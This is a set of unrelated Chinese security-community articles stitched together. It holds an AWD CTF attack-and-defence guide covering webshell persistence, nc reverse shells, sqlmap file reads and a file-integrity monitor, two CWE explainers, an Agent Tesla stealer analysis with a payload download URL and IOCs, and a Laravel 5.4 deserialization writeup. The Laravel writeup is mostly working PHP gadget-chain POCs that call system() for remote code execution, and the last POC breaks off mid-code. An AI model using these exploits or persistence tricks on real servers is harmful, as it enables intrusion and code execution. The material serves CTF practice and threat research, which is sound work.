(2)拿到其他队伍shell后，执行指定命令（curl 10.0.0.2），即可从上图中flag机获取flag内容；
比赛可能会告诉你其他队伍的IP，也可能不会告诉你，一般在同一个C段或者B段，因此首先可以利用nmap等扫描工具发现其他队伍的IP：
nmap –sn 192.168.71.0/24
或者用<https://github.com/zer0h/httpscan> 的脚本进行扫描
#### 三、 **比赛分工**
线下赛一般3人左右，2人攻击，1人防御，因为发现的漏洞可以攻击其他队伍，也要进行修复，所以攻防相辅相成，以攻为守。
比赛中每个队伍可能会维护多个靶机，web、二进制等，也可以每人负责一台，各自负责攻击和防御。
#### 四、 **一些“套路”**
1. 备份！备份！备份！
重要的事情说三遍，比赛开始后第一时间备份服务器中web目录下的文件(/var/www/html)，这是自我审计的基础，也是防止服务器在比赛中出现异常的情况下可以立即恢复到初始状态的先决条件。有的比赛可以提供3次左右的恢复初始设置的机会，有的比赛不提供，所以备份十分重要。
可以用scp命令，也可用一些图形化的工具：Winscp，FileZilla，操作起来比较方便。
1. 口令问题
弱口令的问题几乎是必考，比赛开始后，如果发现每个队伍的SSH账号密码都是一样的（某次比赛中都是phpcms、wordpress），需要立即修改口令，如果被其他队伍改了那就gg了。
Web后台很有可能存在弱口令，一般都是admin/admin,admin/123456,test/test等等，同样需要立即修改，也可以修改其他队伍的后台口令，为本队所用，说不定可以利用后台getshell，比如十分常见的wordpress。
不过有的比赛不允许修改后台口令，如果修改视为服务宕机，这样还是不要动口令的心思了。
1. 预留后门
在维护的服务器上，很有可能已经预留了一个或多个后门，比如一句话木马，这个是送分题，可以利用这个漏洞迅速打一波，还可以视情况“搅屎”，利用这个漏洞一直维持权限，每轮都得分（后面细说）
将服务器中web目录下载到本地，利用D盾扫描，一般就可以发现预留后门：
发现后门后，第一时间删除，同时利用这个漏洞发起第一波攻击，如果利用菜刀连，显然不够优雅，还没连完，人家估计都删的差不多了，因此这个漏洞虽然是送分，但拼的是手速，因此得提前准备好脚本：
配置一下其他队伍地址、shell路径和密码，就可以进行攻击，flag记录在firstround_flag.txt中，某次比赛实际情况如下：
1. 常见漏洞
常见的漏洞包括SQL注入、文件包含、文件上传等等。对于SQL注入类的漏洞，一般不会有过滤，可以用`sqlmap`跑出来，再利用`—sql-shell`执行`select load_file(‘/flag’);`即可得到flag，也可以利用`into
outfile`写木马维持权限，但要根据实际情况，可能会遇到权限问题。用sqlmap跑比较耗时，可以利用payload写一个python，自动化进行攻击：
对于文件包含漏洞，直接可以通过`../../../../../../flag`的方式获取：
上传漏洞一般也是比较简单的黑名单过滤、服务器解析漏洞等等，可以直接上传木马；
#### 五、 **权限维持**
这里说的方法就比较“搅屎”了，上面说到利用预留后门可以维持权限，主要有两种，一种是“不死马”，另一种是反弹shell
1. “不死马”
利用预留后门，上传上面的“不死马”并访问，就会一直生成.config.php的一句话木马，木马内容可以自行修改，只要别被其他队伍看懂就行。
这个不死马比较猥琐，解决的方法需要重启apache，或者写一个程序不停kill这个不死马进程。
1. 反弹shell
利用预留后门上传上面的php文件并访问，就可以用nc反弹shell，之后就可以一直得分了
需要注意的是，上面的2种方法，需要网站的权限为www-data，如果网站的权限是ctf，那么是没有权限上传文件的。
#### 六、 **通用防御**
对于防御，一般通用有两种方法：WAF、文件监控
(1)WAF
使用方法：
1.将waf.php传到要包含的文件的目录
2.在页面中加入防护，有两种做法，根据情况二选一即可：
a).在所需要防护的页面加入代码
`require_once('waf.php');`
就可以做到页面防注入、跨站
如果想整站防注，就在网站的一个公用文件中，如数据库链接文件config.inc.php中！
添加`require_once('waf.php');`来调用本代码
常用php系统添加文件
PHPCMS V9 \phpcms\base.php
PHPWIND8.7 \data\sql_config.php
DEDECMS5.7 \data\common.inc.php
DiscuzX2 \config\config_global.php
Wordpress \wp-config.php
Metinfo \include\head.php
b).在每个文件最前加上代码
在php.ini中找到:
Automatically add files before or after any PHP document.
auto_prepend_file = 360_safe3.php路径;
需要注意的是，部署waf可能会导致服务不可用，需要谨慎部署。
(2)文件监控
文件监控可以对web目录进行监控，发现新上传文件或者文件被修改立即恢复，这样可以防止上传shell等攻击：
# -*- coding: utf-8 -*- #use: python file_check.py ./
import os
import hashlib
import shutil
import ntpath
import time
CWD = os.getcwd()
FILE_MD5_DICT = {} # 文件MD5字典
ORIGIN_FILE_LIST = []
# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'
Special_string = 'drops_log' # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"
# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}
def isListLike(value):
return isinstance(value, (list, tuple, set))
# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):
if noneToNull and value is None:
return NULL
if isListLike(value):
value = list(getUnicode(_, encoding, noneToNull) for _ in value)
return value
if isinstance(value, unicode):
return value
elif isinstance(value, basestring):
while True:
try:
return unicode(value, encoding or UNICODE_ENCODING)
except UnicodeDecodeError, ex:
try:
return unicode(value, UNICODE_ENCODING)
except:
value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
else:
try:
return unicode(value)
except UnicodeDecodeError:
return unicode(str(value), errors="ignore")
# 目录创建
def mkdir_p(path):
import errno
try:
os.makedirs(path)
except OSError as exc:
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise
# 获取当前所有文件路径
def getfilelist(cwd):
filelist = []
for root,subdirs, files in os.walk(cwd):
for filepath in files:
originalfile = os.path.join(root, filepath)
if Special_path_str not in originalfile:
filelist.append(originalfile)
return filelist
# 计算机文件MD5值
def calcMD5(filepath):
try:
with open(filepath,'rb') as f:
md5obj = hashlib.md5()
md5obj.update(f.read())
hash = md5obj.hexdigest()
return hash
except Exception, e:
print u'[!] getmd5_error : ' + getUnicode(filepath)
print getUnicode(e)
try:
ORIGIN_FILE_LIST.remove(filepath)
FILE_MD5_DICT.pop(filepath, None)
except KeyError, e:
pass
# 获取所有文件MD5
def getfilemd5dict(filelist = []):
filemd5dict = {}
for ori_file in filelist:
if Special_path_str not in ori_file:
md5 = calcMD5(os.path.realpath(ori_file))
if md5:
filemd5dict[ori_file] = md5
return filemd5dict
# 备份所有文件
def backup_file(filelist=[]):
# if len(os.listdir(Special_path['bak'])) == 0:
for filepath in filelist:
if Special_path_str not in filepath:
shutil.copy2(filepath, Special_path['bak'])
if __name__ == '__main__':
print u'---------start------------'
for value in Special_path:
mkdir_p(Special_path[value])
# 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件
ORIGIN_FILE_LIST = getfilelist(CWD)
FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
print u'[*] pre work end!'
while True:
file_list = getfilelist(CWD)
# 移除新上传文件
diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
if len(diff_file_list) != 0:
# import pdb;pdb.set_trace()
for filepath in diff_file_list:
try:
f = open(filepath, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] webshell find : ' + getUnicode(filepath)
shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filepath)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : file move error: ' + getUnicode(e)
# 防止任意文件被修改,还原被修改文件
md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
for filekey in md5_dict:
if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
try:
f = open(filekey, 'r').read()
except Exception, e:
break
if Special_string not in f:
try:
print u'[*] file had be change : ' + getUnicode(filekey)
shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
except Exception as e:
print u'[!] move webshell error, "%s" maybe is webshell.'%getUnicode(filekey)
try:
f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
f.close()
except Exception as e:
print u'[-] log error : done_diff: ' + getUnicode(filekey)
pass
time.sleep(2)
# print '[*] ' + getUnicode(time.ctime())
#### 七、 **自动提交**
有的比赛只有几分钟一轮，手工提交其他队伍flag显然不行，需要准备批量提交flag的脚本：
#### 八、 **流量、日志**
通过流量、日志的分析：
1.感知可能正在发生的攻击，从而规避存在的安全风险
2.应急响应，还原攻击者的攻击路径，从而挽回已经造成的损失 | 社区文章 |
# 【缺陷周话】第19期：LDAP 注入
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、LDAP 注入
LDAP (Light Directory Access Portocol)
是基于X.500标准的轻量级目录访问协议，提供访问目录数据库方法的服务和协议，常用于与目录数据库组成目录服务。其中目录是一个为查询、浏览和搜索而优化的专业分布式数据库，它呈树状结构组织数据，类似于Linux/Unix系统中的文件目录。公用证书、安全密钥、公司的物理设备信息等修改并不频繁的数据适合存储在目录中。可以将LDAP理解为一种搜索协议，它类似于SQL，拥有查询语法，也存在被注入攻击的风险。LDAP注入是指客户端发送查询请求时，输入的字符串中含有一些特殊字符，导致修改了LDAP本来的查询结构，从而使得可以访问更多的未授权数据的一种攻击方式。
本篇文章以 JAVA 语言源代码为例，分析CWE ID 90：Improper Neutralization of Special Elementsused
in an LDAP Query (‘LDAP Injection’)样本中LDAP注入漏洞产生的原因以及修复方法。详细请参见：
> * CWE ID 90: Improper Neutralization of Special Elements used in an LDAP
> Query (‘LDAP Injection’)
>
> http://cwe.mitre.org/data/definitions/90.html
>
> * CWE ID 639：Authorization Bypass ThroughUser-Controlled Key
>
> http://cwe.mitre.org/data/definitions/639.html
>
>
## 2、 LDAP 注入的危害
LDAP 注入是利用用户引入的参数生成恶意 LDAP 查询，通过构造 LDAP 过滤器来绕过访问控制、用户权限提升。在维持正常过滤器的情况下构造出
AND、OR 操作注入来获得敏感信息。
从2018年1月至2019年1月，CVE中共有4条漏洞信息与其相关。部分漏洞如下：
CVE 编号 | 概述
---|---
CVE-2018-12689 | phpLDAPadmin 1.2.2 允许通过 cmd.php？cmd = loginform 请求中精心设计的
serverid 参数或登录面板中精心设计的用户名和密码进行 LDAP 注入。
CVE-2018-5730 | MIT krb5 1.6 或更高版本允许经过身份验证的 kadmin 将主体添加到 LDAP Kerberos
数据库，以通过提供 “linkdn” 和 “containerdn” 数据库参数来绕过DN容器检查，或者通过提供作为扩展的DN字符串来绕过 DN 容器检查。
CVE-2016-8750 | 4.0.8 之前的 Apache Karaf 使用 LDAPLoginModule 通过 LDAP
对用户进行身份验证。但是没有正确编码用户名，因此容易受到 LDAP 注入攻击，导致拒绝服务。
CVE-2011-4069 | PacketFence 3.0.2 之前的 html / admin / login.php 允许远程攻击者进行 LDAP
注入攻击，从而通过精心设计的用户名绕过身份验证。
## 3、示例代码
示例源于 Samate Juliet Test Suite for Java v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE90_LDAP_Injection__connect_tcp_01.java。
### 3.1缺陷代码
上述示例代码 39-61 行，程序进行 TCP 连接并读取Socket的数据并赋值给变量 data，在118 行动态构造一个 LDAP 查询语句，119
行对其加以执行。LDAP 为人员组织机构封装了常见的对象类，比如人员（person）含有姓（sn）、名（cn）、电话(telephoneNumber)、密码
(userPassword) 等属性。该查询为了验证是否存在名为变量 data 的员工,但并未对变量 data
的内容做任何过滤。使用最简单的注入方式，令传入参数的值为“*”，则构造的动态查询条件为 “(cn=*)”，这样可以查询到所有员工的信息，导致信息泄露。
使用360代码卫士对上述示例代码进行检测，可以检出“LDAP
注入”缺陷，显示等级为高。从跟踪路径中可以分析出数据的污染源以及数据流向，在代码行第120行报出缺陷，如图1所示：
图1：LDAP 注入的检测示例
### 3.2 修复代码
在上述修复代码中，第119行使用 javax.naming.ldap 包下扩展类 BaseControl 接收需要被处理的参数，第120行 control
对象调用 getEncodedValue() 方法将接收的参数 data 进行编码，编码后的值为字符对应的 ASN.1BER
编码值。编码后的字节数组不存在参与命令解析的特殊字符，可以构造结构、内容正常的 LDAP 查询语句，这样就避免了 LDAP 注入的发生。
使用360代码卫士对修复后的代码进行检测，可以看到已不存在“LDAP注入”缺陷。如图2：
图2：修复后检测结果
## 4 、如何避免 LDAP 注入
LDAP注入产生的根本原因是攻击者提供了可以改变LDAP查询含义的
LDAP元字符。构造LDAP筛选器时，程序员应清楚哪些字符应作为命令解析，而哪些字符应作为数据解析。为了防止攻击者侵犯程序员的各种预设情况，应使用白名单的方法，确保LDAP查询中由用户控制的数值完全来自于预定的字符集合，应不包含任何LDAP元字符。如果由用户控制的数值范围要求必须包含
LDAP元字符，则应使用相应的编码机制转义这些元字符在LDAP查询中的意义。
> * 如&、！、|、=、<、>、，、+、-、”、’、；这些字符正常情况下不会用到，如果用户的输入中出现了，需要用反斜杠转义处理。
> * 还有些字符如(、)、、*、/、NUL这些字符不仅需要用反斜杠处理，还要将字符变成相应的ASCII码值。
> | 社区文章 |
# 【缺陷周话】第37期：未初始化值用于赋值操作
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、未初始化值用于赋值操作
局部的、自动变量存储在栈中，如果没有对其进行初始化，默认值为当前存储在栈内存中的值，此外，一些动态的内存分配方法也可能不会对申请的内存进行初始化，如
malloc()、 aligned_alloc() 等，没有对变量进行初始化就用于赋值操作，可能导致未定义的行为。详细请参见CWE-665:
Improper Initialization、CWE-758: Reliance on Undefined, Unspecified,
orImplementation-Defined Behavior。
## 2、未初始化值用于赋值操作的危害
未初始化的自动变量或动态分配内存都拥有不确定的值，程序在使用这些不确定的值时可能会触发非预期的行为，甚至可能会让程序存在被恶意攻击的严重隐患。
CVE中也有一些与之相关的漏洞信息，从2018年1月至2019年5月，CVE中就有5条相关漏洞信息。漏洞信息如下：
CVE | 概述
---|---
CVE-2018-8627 | Microsoft Excel 中存在由于未初始化变量导致的读取越界内存漏洞。攻击者可借助特制的文件利用该漏洞查看越界内存。
CVE-2018-8378 | Microsoft Office 中存在由于未初始化变量导致的读取越界内存漏洞。远程攻击者可利用该漏洞查看边界之外的内存。
CVE-2018-3975 | Atlantis Word Processor 3.2.6
版本中的RTF解析功能存在未初始化变量漏洞。攻击者可借助特制的RTF文件利用该漏洞执行代码（越界写入）。
CVE-2018-14551 | ImageMagick 7.0.8-7 版本中的 coders/mat.c 文件的 ‘ReadMATImageV4’
函数存在安全漏洞，该漏洞源于程序使用了一个未初始化的变量。攻击者可利用该漏洞造成内存损坏。
## 3、示例代码
示例源于Samate Juliet Test Suite for C/C++ v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE758_Undefined_Behavior__char_malloc_use_01.c。
### 3.1 缺陷代码
在上述示例代码中，第23行使用 malloc()
函数进行内存分配但并未进行初始化，随后在第24行对分配是否成功进行了判断，当分配失败时，程序退出。在第25行将 pointer 指针指向的内存存储的值赋值给
data，但此时 pointer 指针并未被赋值，其指向的内存也是未定义的，因此存在“未初始化值用于赋值操作”问题。
使用代码卫士对上述示例代码进行检测，可以检出“未初始化值用于赋值操作”缺陷，显示等级为高。如图1所示：
图1未初始化值用于赋值操作检测示例
### 3.2 修复代码
在上述修复代码中，Samate给出的修复方式为：在第27行对指针 pointer 进行赋值，从而避免了未初始化值用于赋值操作。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“未初始化值用于赋值操作”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免未初始化值用于赋值操作
检查代码逻辑，避免将未初始化的值直接赋值给其他变量，另外也可以对变量的声明采取默认初始化的策略。 | 社区文章 |
# Agent Tesla窃密软件分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一. Agent Tesla 的前世今生
2014年，Agent Tesla
首次出现在一个土耳其语网站上，被作为一个键盘记录产品进行出售。虽然网站声称该产品仅向用户提供合法服务，但其所提供的绕过杀软、秘密捆绑程序和敏感文件传输等功能与窃密木马相比也不遑多让，甚至更为精密，因此人们更倾向于认为它是一种专门用来窃密的软件。后来，Agent
Tesla 逐渐开始在地下论坛和黑客社区流行起来，售价一般从 15 美元到 69 美元不等，往往通过比特币等方式交易。
如今，Agent Tesla 历经多次代码改进，功能不断增强，已经成为能够盗取浏览器、FTP、VPN、邮箱和 WIFI 等多种敏感信息的专业窃密软件。
在传播方式上，Agent Tesla 主要通过携带多种格式附件（如 ZIP、CAB、MSI、IMG 和 Office
文件等）的钓鱼邮件或垃圾邮件进行传播，并支持 smtp、ftp、http 等多种协议的数据回传；在分析对抗上，Agent Tesla
使用多种手段进行免杀、反调试和反虚拟机，大大增加了安全人员对其分析的难度；在用户使用层面，Agent Tesla
提供了易于配置的页面，使用者能够根据自身情况方便地选择所需要的木马功能，如多种方式实现持久化，UAC 设置，强行关闭杀毒软件进程等。
在攻击目标行业选择上，Agent Tesla 的攻击波及互联网，教育，银行，电信，医药和制造业等，于 2020 年初扩展到对能源行业的攻击。
时至今日，Agent Tesla 仍然活跃。如在 2020 年初，多个黑客组织被披露使用 Agent Tesla 以 COVID-19
为主题对政府和医疗组织进行网络钓鱼活动。其中德勤 CTI 观察到一次以“COVID-19”名义的网络钓鱼攻击。在钓鱼攻击中，黑客使用 Agent Tesla
木马针对位于日本和加拿大的医学研究机构开展 IP 信息窃取。经过德勤 CTI 研究员分析，在攻击过程中黑客会向攻击对象发送名为“COVID-19
供应商通告”或“疫情咨询” 等钓鱼邮件。这些钓鱼邮件中含有一份伪装为“COVID-19 供应商通告.zip”的木马文件，用户一旦点击该文件，Agent
Tesla 木马程序会被自动加载到受害者的计算机上，从而窃取当前医疗研究成果。
又如在 2020 年中旬，Gorgon APT 针对印度 MSME 行业利用 Agent Tesla 进行窃密。研究人员观察到针对印度境内
MSME（小型、中小型企业）企业的网络钓鱼活动，恶意文档以 COVID-19 为主题。攻击过程为：受害者打开“ face mask
order.doc”后，RTF 触发 CVE-2017-11882 漏洞执行任意代码；在 RTF 文件中包含两个恶意 ole 对象，第一个是可执行文件即
ServerCrypted.vbs 脚本；第二个为 Equation.3 exploit (CVE-2017-11882) 和运行
ServerCrypted.vbs 的脚本；成功利用后，脚本将会下载两个扩展名为 .jpg 的文件，其中一个为 PowerShell 脚本，会在内存中加载
DLL；第二个文件为 Agent Tesla 的有效负载。
2020 年下旬，Agent Tesla
攻击依旧倾向于印度地区，另外美国和巴西也是其主要针对的国家，攻击的目标行业除了之前的金融服务和一些公共单位之外，也包含互联网服务提供商（ISP），因为
ISP 持有可用于获取对其他帐户和服务访问权限的电子邮件或其他重要个人数据。这对于后续攻击具有重要意义。
## 二. 样本分析
如前文所述，Agent Tesla
的主要传播方式为钓鱼邮件——攻击者通常会采用社会工程学，针对其目标投递具有诱惑性的邮件、文档或者压缩包。在过去的几个月中，我们观察到大量攻击者以新冠疫情即“COVID-19”或“2019-nCov”为主题的邮件传播
Agent Tesla 木马。
相关邮件一般包含恶意链接地址，或者其邮件附件为 Agent Tesla 的恶意载荷，诱骗受害者点击。部分样本还会通过宏文档或者带有漏洞的 office
文档进行下载执行。其中，常见的利用漏洞如 CVE-2017-11882、CVE-2017-8570 和 CVE-2017-0199 等，详情如下表所示：
**文档名称** | **利用的漏洞** | **漏洞说明** | **危害**
---|---|---|---
COVID 19 NEW ORDER FACE MASKS.doc.rtf | CVE-2017-11882 | 基于堆栈的缓冲区溢出漏洞 |
漏洞允许攻击者运行任意代码以提供有效负载
COVID-19 SUSPECTED AFFECTED VESSEL.doc COVID-19 measures for FAIRCHEM STEED
Voyage (219152).doc | CVE-2017-8570 | Microsoft Office的远程代码执行漏洞 | 漏洞允许攻击者下载
.NET 有效负载
RFQ REF NS326413122017.docx | CVE-2017-0199 | 利用OFFICE OLE对象链接技术 | Microsoft
HTA 应用程序（mshta.exe）加载恶意攻击者下载并执行有效负载
在此，我们对一个典型的 Agent Tesla 木马样本进行分析，发现其主要行为如下：
1\. 首先利用远程模板注入的方式，远程下载一个包含 CVE-2017-11882 漏洞的 doc 文档。
2\. 文档运行后，将自动触发漏洞执行代码，并使用 API 函数 URLDownloadToFileW 从指定的 URL
http://75.127.1.211/system/regasm.exe 下载攻击载荷，并保存到到 C:\Users\Public\regasm.exe
文件中。
3\. 打开文件后，发现诱饵文件内容为乱码。
4\. 攻击载荷将首先加载文件中的资源文件，表面上看是一张 png 格式的图片。
5\. 深入分析发现，资源文件中存在待执行的隐藏代码，木马将会在解密后继续运行相关代码。
6\. 木马将根据设置，从3种方式中选择1种进行持久化，包括自启动目录、注册表和计划任务等。
7\. 之后，木马将继续从资源文件中读取内容，并通过解密释放出真正的 Agent Tesla 主体文件。
解密函数如下：
木马主体将通过定时器进行函数调用，如使用全局 Hook 的方式进行键盘记录：
获取屏幕并截图：
8\. 木马可通过多种协议进行传输。
SMTP：
HTTP：
FTP：
9\. 通过 SMTP 相关代码中的内容，我们能够获取到受害者的邮件信息，分析发现大多数是蜜罐和分析人员的测试环境，当然也存在少部分真正的失陷主机。
10\. 我们结合其他样本分析结果，对会被 Agent Tesla 窃取信息的相关软件进行总结，详情如下表所示。
**软件类型** | **软件名称**
---|---
**浏览器客户端** | 360 Browser、Comodo Dragon、Coccoc、7Star、Kometa、Orbitum、Yandex
Browser、Opera Browser、Sleipnir 6、Coowon、Brave、Sputnik、Chromium、Uran、QIP
Surf、Cool Novo、Epic Privacy、Vivaldi、Torch Browser、Chedot、Liebao
Browser、CentBrowser、Iridium Browser、Amigo、Elements Browser、Citrio、Google
Chrome、Mozilla Firefox、 Microsoft IE、Apple、Safari、SeaMonkey、
ComodoDragon、FlockBrowser、SRWarelron、UC browser
**邮件客户端** | Microsoft Office、Outlook. Mozilla Thunderbird. Foxmail、Opera
Mail、PocoMail、Eudora
**FTP客户端** | FileZill、WS FTP、WinSCP、CoreFTP、FlashFXP、SmartFTP、FTPCommander
**动态DNS** | DynDNS、No-IP
**视频聊天** | Paltalk、Pidgin
**下载管理** | Internet Download Manager、 JDownloader
## 三. 总结
虽然 Agent Tesla
整体结构比较简单，而且已经有6年的历史，但它依旧是当前最流行的恶意软件之一。近年来经过不断的更新迭代，其功能也在不断完善，在免杀和分析对抗上也日渐复杂，同时结合了社会工程学，显著提升了防范的难度，相信这款商业窃密软件在之后也会更加活跃，我们建议通过采用以下措施，对相关威胁进行检测与防范：
1. 及时更新计算机安全补丁和软件；
2. 加强企业内部员工信息安全意识，规范安全操作；
3. 谨慎点击邮件附件，链接等；
4. 推荐使用微步在线威胁检测平台进行威胁检测，第一时间发现相关威胁。
## 四. 附录
### IOCs
1. 569b60fd57a93368c07a0e91dfb640c9e1fceed9a17f00760147d241fd9ce9e4
2. 6b666afdd5b7af512ce3aedc252405dd4f36b853aa4b19738a8ad8ee116e8e63
3. 5bc915e290024f61c9e29d5b5fb056ce46cf0582de0e27d7010446affe16c159
4. caeecccb50242129b5031161fcbc2f29e565c6646ac69042647621210e1a9121
5. 8940739b0fcb021a2bfa9542590169742e74a425e2c9fbd731d823a9a75a1655
6. [email protected]
### 参考链接
1. https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/
2. https://malwatch.github.io/posts/agent-tesla-malware-analysis/#distribution-methods
3. https://www.seqrite.com/blog/gorgon-apt-targeting-msme-sector-in-india/
4. https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/
## 关于微步在线研究响应团队
微步情报局，即微步在线研究响应团队，负责微步在线安全分析与安全服务业务，主要研究内容包括威胁情报自动化研发、高级 APT
组织&黑产研究与追踪、恶意代码与自动化分析技术、重大事件应急响应等。 | 社区文章 |
# Laravel5.4 反序列化漏洞挖掘
## 环境准备
php 版本 7.3；
composer create-project --prefer-dist laravel/laravel laravel5.5 "5.4.*"
下载的版本应该是 5.4.30的。
添加路由
添加控制器
## 分析
全局搜索 `__destruct()`
### 失败的链子
在 `PendingBroadcast.php` 中
这里的利用思路有两个，一个找 `__call` 一个找可利用的 `dispatch` 方法。
找到一个 `Faker\Generator.php`，眼熟不？yii2里一模一样
看似一切都可控，控制 `$this->formatters[$formatter]`为执行的函数，用 `$this->event` 控制命令。
但是
这里直接给掐掉了。
我看其他师傅复现的`laravel5.4`这个类里似乎根本没有这个方法。
### 第一条链子
找其他可用的 `__call` 方法
在`Illuminate/Support/Manager.php`
跟进`driver()` 然后一路看下去。
注意这里，存在可变函数，可以RCE，但是现在不可控的变量 是 `$driver`
会去看`$driver` 的获取，在 `driver()` 方法的第一行
跟进
这是一个抽象方法，需要找他的继承类里的重写。
在`Illuminate/Notifications/ChannelManager.php`中
#### poc
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast
{
protected $events;
public function __construct($cmd)
{
$this->events = new ChannelManager($cmd);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Notifications
{
class ChannelManager
{
protected $app;
protected $defaultChannel;
protected $customCreators;
public function __construct($cmd)
{
$this->app = $cmd;
$this->customCreators = ['jiang' => 'system'];
$this->defaultChannel = 'jiang';
}
}
}
虽然有很多报错，但命令确实是执行了。
`$argv` 是`php`命令行下的参数。 `$argv[0]` 是我们的脚本名，`$argv[1]`即是我们传入的命令。
不弹计算器的话，执行结果应该也是在`response`的第一行，web页面里只会显示debug 的错误，源码中会有。
### 第二条链子
继续找其他可利用的`__call`。
`Illuminate/Validation/Validator.php`
跟进一下这个方法。
$callback可控不？调试看一下$rule 的获取
也很好理解，我们传入的 dispatch刚好八字符，从第八位开始也就是空，传入后，不进入第一个if，进入第二个分支也没有改变什么，最后返回空。
那么我们设置 $this->extensions值为[''=>'system'] ,就可以rce了。
#### poc
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Validation\Validator;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Validator();
$this->event=$cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Validation
{
class Validator
{
public $extensions = [''=>'system'];
}
}
### 第三条链子
`__call`方法没找到了，找 `dispatch` 方法吧
Illuminate/Events/Dispatcher.php
又是可变函数，看上面参数如何控制。
跟进`parseEventAndPayload()`
`$payload` 一开始我们没有传入值，这里也没有控制点，这个参数并不可控。
再看`$listener` 是否可控。
跟进 `getListerners()`
`$listeners` 可以赋值为 `$this->liseners[$evenName]`,`$eventName` 是传入的 `$event`
值，是可控的。最后返回也是会遍历的，不去管 `getWildcardListeners()`
方法。而且我们利用`system`函数`rce`的时候，是不可能存在`system`类名的。
`system` 支持两个参数。
#### poc
<?php
namespace Illuminate\Broadcasting
{
use Illuminate\Events\Dispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Dispatcher($cmd);
$this->event=$cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Events
{
class Dispatcher
{
protected $listeners;
public function __construct($event){
$this->listeners=[$event=>['system']];
}
}
}
### 第四条链子
继续找 `dispatch` 方法
Illuminate/Bus/Dispatcher.php
看起来像是执行命令的点。
跟进一下`dispatchToQueue()`
似乎确实可以命令执行，
但是这里不可控的点是`$connection` 变量，看一下 `$command` 变量的获取。
跟进一下 `commandShouldBeQueued()` 方法
判断 `$command`是否是 `ShouldQueue` 的实现。
我们这里传入的 `$command` 必须是 `ShouldQueue` 接口的一个实现。而且`$command` 类中包含`connection`属性。
找找看喽。
都没有哈哈哈。但其实我们只找了一点，但没全找。当类是 use 了 trait类，同样可以访问其属性。
这样我们就控制了`call_user_func` 的参数。
#### poc1
<?php
namespace Illuminate\Bus{
class Dispatcher{
protected $queueResolver;
public function __construct(){
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
class BroadcastEvent{
public $connection;
public function __construct($cmd){
$this->connection = $cmd;
}
}
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($event){
$this->events = new Dispatcher();
$this->event = new BroadcastEvent($event);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
?>
这里 call_user_func 的方法名可控，可以调用任意类的方法，看别的师傅有用到，这里也整理一下吧。
Mockery/Loader/EvalLoader.php
这里拼接了 $definition->getCode();
这里可控，如果不进入上面的`if`分支，就可以执行任意php代码了。
如果 类没有被定义，且不自动加载类，那么我们就绕过了上面的`if`，跟进`getClassName()`
找可利用的 `getName` 方法。
这个就比较多了
`Session\Store`类中
#### poc2
<?php
namespace Illuminate\Bus{
use Mockery\Loader\EvalLoader;
class Dispatcher{
protected $queueResolver;
public function __construct(){
$this->queueResolver = [new EvalLoader(),'load'];
}
}
}
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent{
public $connection;
